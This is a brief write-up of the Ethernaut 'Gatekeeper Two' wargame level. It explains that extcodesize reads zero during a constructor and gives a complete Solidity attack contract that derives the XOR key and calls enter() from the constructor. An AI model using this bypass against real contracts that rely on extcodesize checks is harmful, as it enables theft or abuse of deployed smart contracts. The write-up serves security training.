Writeups/Ethernaut/Gatekeeper Two
MediumEthernaut · Ethernaut2024

Gatekeeper Two

extcodesize == 0 During Constructor Execution

Gate 2 requires `extcodesize(caller) == 0`. A contract's code size is 0 during its constructor — so calling `enter()` from inside the constructor passes the check. Gate 3 requires an XOR-based key derived from the caller's address.

SolidityextcodesizeXORConstructor Exploit

00Overview

Gate 2 requires `extcodesize(caller) == 0`. A contract's code size is 0 during its constructor — so calling `enter()` from inside the constructor passes the check. Gate 3 requires an XOR-based key derived from the caller's address.

01Deploy and attack from constructor

javascript
contract GK2Attack {
    constructor(address target) {
        bytes8 key = bytes8(uint64(bytes8(keccak256(abi.encodePacked(address(this))))) ^ type(uint64).max);
        GatekeeperTwo(target).enter(key);
    }
}

02Level Completed

Gatekeeper Two — completion screenshot 1
Gatekeeper Two — completion screenshot 2